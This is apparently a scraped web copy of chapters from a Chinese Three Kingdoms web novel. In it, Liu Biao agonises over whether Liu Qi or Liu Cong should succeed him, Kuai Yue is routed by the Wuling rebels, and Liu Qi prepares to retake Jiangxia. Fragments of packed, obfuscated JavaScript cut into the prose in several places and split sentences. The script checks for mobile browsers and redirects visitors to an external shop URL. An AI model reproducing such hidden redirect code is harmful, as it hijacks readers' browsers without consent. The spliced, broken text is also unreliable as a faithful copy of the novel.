刘表合上蔡瑁的信件无力地躺回榻上,手指无意识地反复摩挲着滑凉的锦被面,眼神空洞地望着帐顶,喃喃自语: “琦儿是我亲生的儿子……可江陵,是荆州的江陵,是我的根基啊……琦儿如今手握过万兵马,坐拥坚城粮械,若……若真起了别的心思,我这把老骨头,病成这个样子,还怎么压得住琦儿吗?” 一时间一种深刻的无力感和猜忌感,像毒蛇一样缠住了刘表的心头。 心里七上八下,刘表再也躺不住了,立刻传召两位心腹入府议事。 一个是从事中郎韩嵩,此人是荆州名士,洞察世事,素来就是刘表智囊。 另一个是伊籍,与刘表同为山阳郡人,也是最早就跟随刘表的老人,十几年的交情,亦是刘表最为倚重的心腹。 他俩都知道刘表病重,这会儿叫议事,误以为是出了什么要紧事,是以二人皆脸上带着急色步入州牧府。 二人匆匆赶到刘表内院里,只见刘表勉强靠在一个软枕上,面色灰败,一副大限将至的样子,而榻上放着刘琦与蔡瑁的信件。 二人一见,心中一惊,还以为刘表快不行了,唤他们来是交代遗言,让他们做辅政大臣呢。 二人心中感动之余,又夹杂着悲伤,于是二人语气中不免夹杂着点哽咽。 “明公.......” 不怪伊籍、韩嵩会如此,一来蒯越蒯良、蔡瑁等人此时皆不在襄阳,二来建安五年刘表已经五十多岁了年老体衰,又染了风寒,在汉末这样的医疗条件下,一命呜呼是很正常的事。 刘表见二人刚进门就红着眼圈,话没说两句先带了哽咽,先是愣了愣,随即看清他俩那副“准备送终”的模样后。 刘表顿时没好气地咳了两声,伸手拍了下榻沿:“哭什么?我还没咽气呢!” 韩嵩、伊籍被这声训得一怔,抬头见刘表虽面色灰败,眼神却还带着股气性,才后知后觉自己误会了。 刘表翻了个白眼,指了指床榻上的刘琦与蔡瑁的信:“叫你们来,是让你们看这个,不是让你们来哭丧!快过来,给我瞧瞧这信里的门道!” 二人这才松了口气,又有些讪讪,忙敛了情绪上前,拿起帛书仔细读了起来。 “你们都看看,先看琦儿的,再看德珪来的这封……然后,说说你们的看法。” 听见刘表这样说,韩嵩和伊籍对视一眼,心中都已明了七八分。 二人接过绢帛,快速浏览起来。 而二人都是官场里修炼成精的人物,蔡瑁那点弯弯绕绕的笔法,岂能瞒过他们的眼睛? 通篇的“盛赞”,不过是包裹祸心的糖衣,核心就一句话:长公子势力膨胀太快,主公您得小心了! 再偷眼瞧见刘表那副愁肠百结的模样,更是心知肚明:这位主公啊,此刻正陷在“为父的骄傲”又怕“上位者权柄旁落”,哪怕对方是亲儿子,手握重兵踞重镇,也让他坐立难安。 伊籍先看完了信,他并没急着戳穿蔡瑁,反而整了整衣冠,笑着向刘表拱手:“恭喜明公!贺喜明公!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591490|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“长公子这一战,打出了我荆州的威风!” “临危受命,渡泽奇袭,大破孙策,保住江陵,如今更是稳扎稳打,不忘收复江夏之志!” “长公子有如此能耐,实乃明公之福,荆州百姓之幸啊!” “有长公子在,江东鼠辈必不敢再窥我疆土!” 伊籍这一番话,先顺着刘表的父子之情说,果然见刘表紧绷的脸色稍稍缓和了些,嘴角甚至牵动了一下。 但刘表却挥手道:“别尽说虚言!” 刘表枯指点向蔡瑁的信,“德珪与琦儿素来有隙,他怎会平白夸人?” 刘表喘了口气,盯着韩嵩二人:“你们细看,这信里的话,几分是真赞,几分是借夸藏私?我要的是实在话,不是顺耳的!” 伊籍闻言,却话锋突然一转,带着几分郑重问道:“明公,籍冒昧问一句,您今年高寿了?” 面对伊籍这突然间的答非所问,刘表被问得一怔,下意识回答:“老夫五十有六了。机伯(伊籍字)何故突然问起这个?” 刘表下意识答出年岁,话音刚落,刘表脸色便顿住。 刘表猛地反应过来,伊籍这话问得蹊跷,更戳中了他最忌讳的心事。 五十有六,本就是半截入土的年纪,何况刘表卧病月余,身子骨早垮了,“老”字于他而言,不只是年岁,更是“力衰、权弱、恐难掌控局面”的代名词。 尤其刚被蔡瑁的信勾的疑心刘琦势大,这会儿被问年龄,无异于当面提醒他“你老了,怕是管不住儿子、守不住荆州了”。 这点心思翻涌上来,刘表脸色瞬间阴沉下来,呼吸也粗重几分,语气带着被戳中痛处的恼怒:“伊机伯!我问你蔡瑁信中虚实,你不答正事,倒揪着我年岁问?!” 面对刘表的训斥,伊籍并没有很慌张,而是拱手道:“唉,属下是忽然想起一些古事,是以才有此之问,还请明公恕罪。” 刘表脸色依旧铁青,冷哼一声:“什么古事值得你岔开正题?” 伊籍语气瞬间沉凝,上前半步拱手道:“明公可知昔日楚武成王呼?” 刘表脸色猛地一僵,方才因被戳中年龄忌讳而起的怒气,竟像日出落雪般瞬间消散。 刘表本就是饱读经史、熟稔《左传》的名士,楚武成王的典故哪里用得着伊籍多言? 刘表靠回软枕,眼神发沉,喉间动了动:“楚武成王……早年弑兄夺位,晚年偏爱少子商臣,却又迟迟不立嗣,既舍不得长子建的贤,又放不下幼子的顺,优柔寡断间,反教商臣起了杀心,最后被逼着自缢于寝宫,死后连个像样的谥号都难安。” 说到这,刘表枯指无意识地叩着榻沿,声音压得极低:“楚国也因这一场嗣位之争,太子、公子互相残杀,朝局大乱,连创下的霸主基业,都生生折损了大半——这些旧事,我岂能不知?” 话落,屋内静得可怕,只有刘表粗重的喘息声。 伊籍没接话,他知道,刘表已在往深处想了——想眼下的荆州,与当年的楚国何其相似。 刘表闭了闭眼,心头翻涌:刘琦虽早有“世子”之名,可从前困在襄阳时,空顶着个长公子头衔,手里无兵无地,连府中仆役都敢看蔡氏脸色怠慢刘琦。 可如今不一样了,刘琦手握江陵万兵、五万石粮草,连庞、**大族都归附,已成了有实力的“强藩”。 而自己呢? 这些年被蔡氏枕边风吹着,又念着刘琮温顺听话,对刘琦渐生疏远,甚至隐隐有了偏爱次子的心思,府里上上下下谁看不透? 蒯越、蔡瑁那些世家大族,早把赌注压在了刘琮身上,若自己哪天撒手人寰,到时....... 一个有世子之名、握重镇兵权,一个有世家支持、得自己偏爱,这荆州岂非要变成当年的楚国,让刘琦、刘琮兄弟相残? 到那时,江东孙策虎视眈眈,北方曹操也在窥伺江汉,可不就是“鹬蚌相争,渔翁得利”? 自己十几年单骑定荆州、苦心经营的这份基业,难道要眼睁睁拱手让给外人? 想到这,刘表猛地睁开眼,眼神里满是惊惶与悔意——先前被蔡瑁那封“夸信”勾起来的对刘琦的猜忌,此刻竟淡了大半,只剩对“传承不定”的恐慌。 刘琦看向伊籍,语气终于没了先前的强硬,反倒带了几分急切:“机伯,你……你早该点醒我!” (本章完) 第27章 蔡夫人挑拨被斥!刘表觉醒! 伊籍见刘表语气急切,忙上前半步拱手宽解:“明公莫慌!楚武成王败在‘迟而不决’” “而明公如今既已看透症结,亦为时未晚,眼下明公只要断了‘疑’,定了‘局’,荆州便不会重蹈楚成王覆辙!” 刘表眼神一亮,撑着病榻想坐直些,咳着追问:“机伯,那……那计从何出?” 伊籍却忙躬身拱手推辞,语气恳切又坦诚:“明公恕罪!” “臣素来专精的是定制科条,厘正典章——昔年明公整饬荆州吏治,那些户籍,赋税的规制,州府律法的修订,臣尚可竭尽所能,但这涉及嗣位定夺,兵权制衡的权谋布局,实非臣所长,若强行献策,恐误了明公大事!” 伊籍顿了顿,转头看向一旁沉默的韩嵩,顺势举荐:“不过韩中郎素有‘智囊’之名,对州中局势、人心向背看得最透,又善谋权变之策,此等定传承、稳荆州的大计,韩中郎必有高见,明公不妨问韩中郎!” 刘表闻言一怔,盯着伊籍看了片刻,才想起伊籍这些年确实多在律法、文书上出力,极少掺和嗣位纷争,随即了然点头,看向韩嵩,语气又急切几分: “德高(韩嵩字),那你说说,如今该如何做,才能免了荆州的祸事?” 韩嵩没急着应答,而是在屋内徘徊思考。 而刘表二人间韩嵩思考也没有出言打扰。 少顷。 韩嵩思考完毕目光沉定地看向刘表,语气不疾不徐:“明公先莫问计,嵩倒要先问明公一句——您心中,百年之后是欲传位于长公子琦,还是想二公子琮?” 韩嵩这话一出,屋内瞬间静了静。 韩嵩扫了眼刘表微变的脸色,继续道:“明公若意属长公子,则根本不用费力气,只需‘顺其势、固其名’。” “而蔡德珪那封挑拨书,明公留中不发,默而不评。” “此‘不表态’,胜似明诏。” “州中诸人皆精明,见明公不复偏宠二公子,又念长公子本有嫡长之名,更于江陵破孙策、安百姓,立了战功,那些世家、同僚自会揣度明公,不待驱遣,便争相附其侧,何须明公劳心催逼?” 话音稍顿,韩嵩话锋陡转,言及立二公子之谋,语气沉凝如铁:“然若明公属意二公子,便需步步为营,先剪长公子羽翼。” “长公子出襄阳,本因明公授江夏太守之职,令其逐孙策——此乃长公子破局之钥。” “第一步,遣心腹往江陵,断其根本。” “第二步,待长公子交出江陵后,借荆南四郡骚动之名,下令抽其麾下半数兵力往平,名正言顺拆其部曲。” “彼时,长公子江陵根基被毁,麾下兵马去半,明公可下令东进驱除孙策光复江夏。” “而长公子麾下兵马少了一半,想要驱逐孙策,必难成其功。” “届时明公可降诏:‘琦儿力绌,难承驱策,令琮儿引兵助战。’若胜,世人只知二公子助战有功” “若败,便归咎长公子无能,未竟君父之命。如此一来,既削长公子之势,又扬二公子之名,日后立嗣,便顺理成章。” 韩嵩最后补了句,语气带着警示:“只是此路需速且密,必隐其谋,一旦谋泄,恐逼长公子生变。” “昔年楚武成王,便是欲保长子、又欲扶幼子,优柔寡断而乱其局,明公今日,当断则断,莫再重蹈覆辙!” 韩嵩话音落时,刘表只觉得胸口像压了块浸了水的棉絮,沉得发闷,连呼吸都慢了半拍。 刘表枯瘦的手指无意识摩挲着锦被上的暗纹,眼神飘向帐顶的幔帐,半天没吭声。 一边是嫡长子,日后名正言顺的继承人,一边是偏疼的幼子,一边是省心却要放下偏爱,一边是合心意却要步步算计,还要担着逼反长子的风险。 过了好一会儿,刘表才缓缓垂下眼,喉间滚了滚,咳了两声才哑着嗓子开口:“这……这让我如何决断?” 刘表语气里没了先前的急切,反倒添了几分茫然,“琦儿有嫡长之名,又立了战功,可琮儿……琮儿温顺,我却舍不得他受委屈。” 刘表抬眼看向韩嵩,眼神里满是挣扎:“若选琦儿,我怕对不住琮儿,若选琮儿,又怕真逼得琦儿反了,到时候荆州大乱……” “德高啊,你说的两条路,哪一条,就没个两全的法子?” 韩嵩见刘表眼神里满是挣扎,喉间还滚着未说尽的犹豫,脸上神色未变,只微微垂了垂眼,并没有说出那句话,‘世间安有两全之法?’ 见韩嵩不言,刘表重重叹了口气,如何不知韩嵩之意。 韩嵩早料到这位主公难下决断,一边是嫡长名分、战功在身的长子,一边是自幼偏疼、温顺合心的幼子,再加上年老病弱时的优柔,哪能轻易定夺? 屋内静了片刻,只有刘表粗重的喘息声,混着窗外偶尔传来的虫鸣,更显沉闷。 良久。 刘表缓缓抬枯瘦的手臂,摆了摆,声音里带着掩不住的疲惫:“你们……先回去吧。” 说着刘表便想撑着软枕想坐直些,却又被一阵突如其来的咳嗽打断,咳得肩背微微发颤,好半天才缓过来,“这事儿……容我再想想,再召你们来议。” 伊籍与韩嵩对视一眼,都从对方眼中看到了了然——此刻多说无益,只能等刘表自己捋清心思。 二人齐齐躬身行礼,伊籍轻声道:“明公保重身体,莫要为琐事劳心过甚。” 韩嵩则补充了句:“明公若有疑虑,随时可传属下二人入府。” 待二人退出内室,帐帘落下的轻响传来,刘表才无力地躺回榻上,目光空洞地望着帐顶的云纹。 只觉得心口像是被什么东西揪着,又闷又疼——这荆州的传承,他的两个儿子,终究是要做个了断了。 而此时襄阳州牧府内院的西厢房里,蔡夫人看着蔡瑁派人送来的密信,秀眉紧皱。 信上的字不多,却把蔡瑁的心思说得明明白白,让她刘表耳边多吹吹枕边风,提提刘琦在江陵的“势大”,再夸夸刘琮的“温顺可靠”,务必搅得刘表更疑长子,好为刘琮铺路。 良久,蔡夫人看完信件,随后将信凑到烛火边烧了,灰烬捻碎,拢了拢衣襟,才端着一碗刚温好的参汤,轻手轻脚往刘表的内室去。 此时刘表正靠在软枕上,刚才刘表在伊籍、韩嵩二人走后又看了遍刘琦的信件,眼神发怔。 见蔡夫人进来,刘表回过神淡淡抬了抬眼,语气没什么起伏:“怎么这个时候过来了?” 蔡夫人脸上堆起柔婉的笑,把参汤递到他手边,柔声说:“听闻夫君召了韩中郎和伊从事议事,怕您劳心,特意炖了参汤来补补。” 蔡夫人说着便挨着榻沿坐下,接着像是突然发现刘表床榻上刘琦的信件般。 “夫君这时什么?” 蔡夫人装作好奇伸手去拿,但却被刘表不动声色地抽走了。 刘表将信往枕下一压,眼神淡了几分:“不过是琦儿报平安的寻常书信,没什么好看的。” 刘表能单骑定荆州,雄踞江汉的枭雄,岂会瞧不透这关节? 蔡瑁的挑拨信才刚留中,蔡夫人便寻上门来,明着送汤,暗里怕要借看信再挑几句是非——古往今来,挑拨君父疑子,不就是外有臣撩拨、内有妃吹风的路数? 换作从前,刘琦软弱,刘表偏宠刘琮时,这信让她看了也无妨。 可如今刘表虽未决出嗣位,但却已醒得不能再任人搅局,自然不会给蔡夫人添火的机会。 蔡夫人指尖僵了僵,又很快掩过去。 蔡夫人叹了口气:“说起来,方才我听侍女闲聊,说江陵那边传来消息,长公子近来又收了不少江东降卒,连庞家都把嫡子送到他帐下当参军了……” 刘表捏着绢帛的手紧了紧,没接话。 蔡夫人见状,又往深了说:“夫君,不是妾多嘴,长公子毕竟是您的儿子,可他如今手握万兵,坐镇江陵,连郡里的大族都围着他转,这要是……要是哪天他听了旁人撺掇,忘了您的养育之恩,可怎么好?” 蔡夫人刻意放低声音,装出一副忧心忡忡的模样,“反观琮儿,日日在府里替您抄经祈福,连出门都不敢走远,这般孝顺温顺,才是能替您守住荆州的人啊。” 这话刚落,刘表目光沉沉地看向蔡夫人。 方才韩嵩的话还在耳边——“若属意二公子,需防世家与外戚联手”,此刻蔡夫人的话,句句都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他刘表年过半百,昔年单骑定荆州,连蒯、蔡这样的荆州大族都得俯首,岂会真瞧不透蒯越、蔡瑁的心思? 彼辈环伺刘琮左右,捧之护之,非为敬他这位州牧,实因琮儿温驯易制耳,日后继位后好拿捏罢了。 以前刘表不是没察觉,只是那时刘琦太过怯懦,见蔡瑁则避,提了军务就慌,连在他面前都不敢大声说话。 荆州世家本就势大,刘表若硬顶着蒯、蔡之意,执意扶此不成器的长子,恐外敌未至,州内先乱。 所以刘表才睁一只眼闭一只眼,顺着这些世家的意思,多疼着些刘琮,甚至默许蔡瑁给刘琦使些小绊子。 毕竟都是他刘表的儿子,只要能将自己打拼出来的荆州基业传承下去就行,只要琮儿能稳住世家,只要蔡氏别太过火,别伤了琦儿的性命,刘表便忍了。 可如今呢? 蔡瑁的信一封接一封地挑事,蔡夫人更是急着往他耳朵里灌迷汤,连“夺荆州”的心思都快藏不住了。 想到这刘表忽觉后颈一凉,猛地警醒,自己尚在人世,蔡瑁等世家便敢如此明火执仗地挑唆内斗、觊觎权柄,若等自己百年之后,这群盘根错节的大族,岂会安分? 刘表单骑入荆州本就与荆州世家共治此地,能稳住局面,全靠刘表手中攥着的军权:一边是刘磐、刘虎这些刘氏子侄,镇守要地;一边是王威、文聘等这些自己一手提拔的外姓大将,掌持精锐。 靠着这两股力量相互掣肘,才压得住蒯、蔡之流的野心。 真将基业传与琮儿,这孩子本就是蔡瑁、蒯越一手捧着长大的,性子温顺,哪里压得住场面? 待自己闭眼,那些刘氏子侄恐难敌世家威逼,文聘等人的兵权更会被蒯、蔡以“辅佐新主”之名逐步侵蚀。 而没了军权支撑,琮儿与傀儡何异? 到那时,刘表苦心经营数十年的荆州,究竟是姓刘,还是要换作蔡家的旗号? 这念头像根冰针,狠狠扎进刘表心口,让刘表不自觉的攥住床榻上锦被。 (本章完) 第28章 病榻悟道!刘表:琦儿,荆州给你 良久。 刘表目光落在屋内悬在墙壁上的“汉室宗亲”匾额上,眼神沉了沉。 刘表是汉景帝之子鲁恭王刘余的后裔,虽非嫡长正统,却也自幼以帝胄自居。 如今,自董卓乱政之后,汉室倾颓,诸侯并起,天子蒙尘。 刘表安定荆州之后,心中又何尝没想过像世祖光武帝那般匡扶汉室、再造乾坤? 可如今呢? 五十有六,病骨支离,别说匡扶汉室,就连守住眼前这荆州基业,都已力不从心。 这心思,刘表原以为要带进坟墓里,结果如今却在刘琦身上,看到了一丝微光。 “世祖.....光武皇帝.......” 刘表忽然低声喃喃,指尖无意识地叩着榻沿,“长沙定王刘发之后,不也是旁支? 当年天下大乱,他起于南阳,昆阳一战定乾坤,最终光复汉室,延绵四百载……” 这话越说,刘表眼神越亮。 刘秀是景帝旁支,他刘表亦是。 刘秀乱世起兵,刘琦如今临危破敌——这何其相似? 刘琦有嫡长之名,有实战之功,若真能将荆州交给他,未必不能复刻刘秀的路:先守荆州,再图江夏,待羽翼丰满,北上中原,重振汉室。 到那时,他刘表这一系,便不再是偏安江汉的诸侯,而是能像刘秀那般,让刘氏血脉再兴盛几百年的“世祖”之基! 刘表先前对刘琮的那点偏爱,在“乱世存续”“汉室延续”的念头面前,忽然变得轻飘飘的。 加之他年过半百又染风寒,本就精神耗损,白日与伊籍、韩嵩议事费神,晚间再经蔡夫人挑拨搅得心神翻涌,此刻心意既定,那股强撑的气力便泄了去,困意如潮般涌来。 刘表缓缓闭了眼,嘴角却难得勾起一丝浅淡的笑意——嗣位的事,他想明白了。 而与此同时,远在荆南的武陵郡。 武陵郡治临沅(后世常德市)的城头,蒯越扶着垛口,望着南方连绵的山脊,眉头拧成了死结——三天前,他派往沅南县的斥候,至今没一个回来。 昨日从城外抓回的蛮兵斥候,被打得皮开肉绽才吐实:“沙摩胥大王(蛮首)和向家(武陵豪强)的人,已经占了辰阳、酉阳,还烧了通往零陵、桂阳的驿馆,现在通往南边零陵郡的路,全断了!” 从蛮兵俘虏拷打出来的像块尖刀扎进蒯越心里,将蒯越心中那荆州世家大族的优越感,给砍的七零八落,如今只剩满心的羞愤与难堪,脊梁骨都透着股发凉的臊意。 蒯越来武陵平叛时,带了八千襄阳兵,本以为“蛮夷乌合之众,一月可平”。 却没想到这武陵蛮竟然已经与当地豪强勾结在一起。 而当地豪强算准了蒯越身为世家大族轻视蛮族的心里,于是武陵蛮故意连输两阵,丢盔弃甲似的溃逃,连营寨都来不及拆。 蒯越果然中计,带着兵马猛追,可蒯越偏初来武陵不熟地形,一头扎进了壶头山的狭长峡谷。 刚进谷中,两侧山壁突然滚石如雷、箭矢如雨,襄阳兵顿时乱作一团。 也算蒯越运气好,是以文臣将兵,行军时落在后队,见势不妙,便得以快速退出峡谷。 若是换做其他武将将兵,免不了就要步入黄祖后尘,被这武陵蛮给阵斩了。 要知道沙摩胥之子沙摩柯,一手箭术刁钻,一出手便将两名试图组织起士卒抵抗的襄阳军都伯射杀,若蒯越领兵在前,怕是早成了箭下亡魂。 壶头山峡谷一战,蒯越被沙摩胥用滚石箭矢伏击,折了一千五百兵。 随后,军中粮草又被越武陵蛮勾结的豪强子弟趁乱烧毁大半。 出师未捷又加之粮草被焚毁,蒯越只能无奈领兵返回郡治临沅修整,以及重新筹备粮草。 而随着蒯越被击退,武陵蛮声势大振,不少先前还在抵抗的城池瞬时间不是开城投降,或在城中豪强的出卖下,城破人亡。 一时间,武陵郡情形直下,南部诸县皆落入叛军之手,仅剩下沅南、临沅、汉寿等数县还在蒯越手中。 临沅城头的风越刮越紧,蒯越望着南方的眼神从最初的侥幸,慢慢沉成了铅色——三天了,沅南的斥候连个影都没见,恐怕已遭遇不测了。 果然,没过两个时辰,南边烟尘滚来,武陵蛮的身影渐显,而走在最前头的正是武陵蛮少族长沙摩柯,此时的沙摩柯可谓是春风得意马蹄疾,骑在高头战马上,肩扛铁胎弓,腰间弯刀斜挎,一身蛮族兽皮甲沾着未干的血渍,却半点不显狼狈,反透着股刚胜的戾气。 当来到临沅两百步时,沙摩柯勒马停下脚步,目光扫过临沅城头时,嘴角勾起毫不掩饰的桀骜,连马鞭指城的动作都带着轻慢——仿佛这坚城在他眼里,早是囊中之物。 沙摩柯挥了挥手,身后的蛮兵中就立马有几人往前跑了几步对着城头喊:“蒯越!沅南已破!你再不献城投降,这校尉,就是你的下场!” 蛮兵喊话间,就有蛮兵压着一个十字架走到城下。 城上的蒯越定眼看去,木架上绑着的,正是前几日自己任命的沅南县守将王校尉。 蒯越扶着垛口的手猛地攥紧,指节泛白,羞愤的火气往上冲,却又被孤城困守的无力死死压着。 沙摩柯手腕一扬,没等城头蒯越吭声,两个蛮兵已扑到木架前。 蛮兵手中刀刃寒光乍闪,“噗嗤”一声闷响,王校尉的头颅滚落在地上,鲜血顺着木架缝隙喷涌而出,侵染红城下黄土,连碎石都浸得通红发亮。 而沙摩柯身后蛮兵当即爆发出野性喝喊,纷纷举起缴获的襄阳军军旗,那些染血的青黑旗帜被挥得猎猎作响,满是炫耀的凶悍。 可沙摩柯只淡淡抬手,欢呼声戛然而止。 他拨转马头往前挪了几步,抬头望着城头,眼底戏谑藏都藏不住,活像戏耍老鼠的猫。 城上蒯越看得目眦欲裂,胸口憋得发疼,猛地抽出佩剑,“哐当”劈在垛口青砖上,火星四溅。 “沙摩柯!” 蒯越咬碎牙,声音发颤却带着狠劲,“欺人太甚!斩我校尉,辱我将士,日后我必斩你!” 沙摩柯见蒯越剑劈垛口,反而笑得更猖狂:“日后必斩我?” “老子倒要看看,你这孤城能撑几日!” 蒯越却没再理他,转身对着城头将士沉喝:“都给我听着!蛮夷斩我校尉,是要断我志气,今日起,谁敢言降,立斩不赦!” 话音落,蒯越当即传令:“把府库压箱的滚木、礌石全搬上城,百姓家的门板、水缸也征来,门板挡箭,水缸储水,再挑五十个精壮,日夜盯着城墙根,防着蛮兵挖地道!” 将士们本被城下惨状惊得发怵,见蒯越硬气,也都攥紧了兵器。 蒯越又快步下城,回到衙署提笔疾书,如今武陵蛮势大难制,仅靠自己手中的六千余士卒是难以平定乱局了,是以蒯越只能派敢死之士从沅水支流突围,往襄阳求援。 自壶头山峡谷一战,蒯越八千襄阳士卒,死伤千余,退回临沅后,蒯越又分兵千余给沅南县王县尉,使其能守住沅南县。 谁知才几日,沅南县便被武陵蛮攻破,损兵折将不说,还更进一步打击了蒯越军士气,今日城头上上到将校,下到士卒,见武陵蛮无不面露惧色。 想到这,蒯越不禁有些悔恨的一拳捶在案几上,当时,蒯越退回到沅南时,就有将校建言,沅南城小,城周不过二三里,城墙是夯土板筑的老墙,最高处也不过一丈余,且此城无险可守,粮草又少,不如汇集兵力专守临沅大城!。 一步错步步错,说的便是如今的蒯越。 单论军事角度而言,那将校的建言实在是半点没错。 沅南小城,墙矮粮少,本就不是守御之地,若当时蒯越听劝,将千余兵力收回临沅,如今手里握着七千士卒,底气也能足上三分。 可蒯越不是寻常将领,他是刘表倚重的荆州别驾,是荆州政堂里仅次于州牧的二把手。 壶头山一败已让他脸上无光,若是再未接敌就弃了沅南,传去襄阳,满朝文武会怎么说? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄忠朗声回道:“回主公,麾下斗船三百艘、楼船十五艘已尽数备好,船上**机、撞角都按先前的吩咐加装完毕,将士们的登船结阵、水上**射之术,也已操练得炉火纯青,随时可战!” 刘琦听罢,猛地拍案而起,决定不等刘表回应了,如今孙策受伤,随孙策西进的江东主力被自己几乎一网打尽,眼下留守江夏的江东军士气动荡。 而周瑜为了不被各个击破,连沙羡的放弃了。 机不可失时不再来,眼下江夏江东军收缩,只不过是兵力受损无奈之举,但一旦江东援军抵达必定会重新占据江夏郡治‘沙羡’ 而刘琦能先占举沙羡,其**意义巨大,能鼓舞江夏其他还未陷入敌手的城池。 “好!那便不等了!” “汉升,我命你为东征先锋,你即刻点齐水师五千,明日一早从江陵港出发,先取沙羡,拿下江夏旧治后,再挥师逼近夏口,务必趁江东援军未齐,占尽先机!” 黄忠闻言,双目骤然一亮,双手抱拳重重一拱,甲胄碰撞间发出清脆的铿锵声,连声音都带着抑制不住的振奋:“末将遵命!” 黄忠那年过五旬的脸上竟透着股少年般的锐劲,久在江陵城内待命,早憋了股上阵杀敌的劲头,如今得任先锋,正是遂了心意。 “主公放心!明日一早,末将必带水师直扑沙羡,定将那座空城给公子拿下来,绝不让江东残兵有半分喘息之机!” 说完,黄忠转身快步离去筹备。 次日晌午,襄阳来的使者快马奔入江陵,翻身下马时,甲胄上还沾着未散的风尘。 使者径直来到官署,手中捧着封裹着红绸的绢诏,刚进官署便躬身道:“长公子,州牧亲笔诏,特嘱先告知公子——州牧近日风寒已退,体尚安,请公子宽心。” 刘琦迎上前,接过绢诏打开。 (本章完) 第29章 一纸诏书定江陵,沙羡难守周郎断 刘表绢帛上字迹虽不如往日遒劲,却一笔一画透着郑重:“吾儿琦知悉,近日闻你于津乡力挫孙策,保江陵安稳,为父甚慰,今升你为偏将军,仍江夏太守之职,以示嘉奖。” “而江陵乃荆州腹心,近日军民惶惶,你临危镇之,安抚人心有功——此城便交由你驻守,交割之事,无需再提。” “城中长史、校尉等职,你可自行择贤任命,只需事后将名单报备州府即可,务求上下一心,稳守根基。” “今后可领江陵兵马,择机东进,光复沙羡、夏口诸县,尽收江夏故地。 “行军途中,便宜行事,无需事事禀奏。吾体无碍,汝只管安心破敌,亦要保重自身。父,表。” 短短百余字,刘琦反复读了三遍,先是因“体尚安”三字放下悬着的心,随即被“甚慰”“便宜行事”几个字勾得眼底发亮,忍不住将诏书递向诸葛亮与徐庶:“你们看,父亲竟还记得我先前挫退孙策的事!” 诸葛亮接过诏书,扫过一眼便轻笑出声:“主公这诏书,写得极妙。” “先报平安,安公子的心,再赞功绩立公子的威,最后授命给公子的权——‘领江陵兵马’一句,便是明明白白说,江陵兵马归公子调度,江陵城,自然也由公子守着。” “何止!” 徐庶指着“便宜行事”四字,语气加重,“这四个字,是让公子全权掌控东征事宜,蔡瑁就算再想从中作梗,也没了‘违逆州牧’的由头。” “先前蔡瑁指责主公擅占江陵,如今州牧的诏里连半个‘让江陵’的字都没有,他那套把戏,算是彻底演不下去了!” 刘琦攥紧诏书,只觉得胸中郁气一扫而空,朗声道:“既得父亲允准,明日便让汉升祭旗!” “我与汉升同往沙羡,定要把江夏拿回来,不辜负父亲的期许!” 同一时刻,蔡瑁的大营里却没了往日的得意,帐内烛火摇曳,映着他坐立难安的身影。 蔡瑁本指望在自己挑拨信件以及蔡夫人在刘表跟前吹吹枕边风,定能刘表下令让刘琦交出江陵,可这都过去五日了,襄阳那边连半封回信都没有。 “怎么回事?小妹往日再慢,三日也该有信回来,难不成是州牧那边出了变故?” 蔡瑁绕着案几踱来踱去,心头的焦躁像团火似的往上冒。 王超站在一旁,连大气都不敢喘,这几日蔡瑁因等不到回信,已发了三次火,帐里的酒盏摔碎了两个,连巡营的校尉都被无故斥责了两回。 就在蔡瑁准备再写一封信去襄阳问问时,营外传来使者的呼喊:“州牧有令,传蔡都督即刻接令!” 蔡瑁闻言,还以为是刘表让刘琦交出江陵城的诏书,于是蔡瑁快步出去迎接。 可当使者宣读完诏书,蔡瑁脸上的笑意瞬间僵住,接过绢诏的手都在发颤。 诏书上只有寥寥数语:“蔡瑁听令:武陵蛮乱未平,蒯越孤军难支,着你即刻拔营,率所部兵马南下驰援,协同蒯越平定叛乱,不得延误。” 等刘表的使者走后。 “驰援武陵?” 蔡瑁猛地把诏书摔在地上,脸色铁青,“我在襄阳跟夫人费了多少劲,就盼着拿江陵,结果就给我这么一道破令?!” 王超慌忙捡起诏书,小声提醒:“都督,诏书上没提让长公子交江陵……反而让您南下,这是……” “这是刘表老儿护着刘琦!”蔡瑁咬牙切齿,一脚踹翻案几。 蔡瑁越想越窝火,只觉得嗓子眼堵得慌,比吞了颗带苦胆的苍蝇还难受:“刘琦这小子,有了江陵,再拿下江夏,一东一西钳制荆州,日后我蔡家还怎么遏制他?!” “那……都督,咱们能抗命吗?”王超试探着问。 蔡瑁狠狠瞪了他一眼:“抗命?” 蔡瑁没好气道:“军中将校可都未姓蔡.....” 说完,蔡瑁烦躁地踱了几圈,最终狠狠一跺脚:“拔营!让弟兄们收拾东西,往武陵去!” “这笔账,我先记着,等从武陵回来,再跟刘琦慢慢算!” 沙羡城内。 自孙策在周泰舍命让孙策登上程普的船突围,此时已经过去了尽十日。 不过孙策如今也没时间去缅怀悲痛津乡之战,惨痛的损失了。 因为孙策回到江夏后,随着而来的便是因为孙策津乡大败而造成的军心动荡,孙策征战江东六郡数载也从未有过如此大败,尽万人去,只剩数百人归。 如此大败,以至于让不少江东军将校都认为占江夏之事已经不可为,当下应当退回江东,加固工事严防荆州军的反扑。 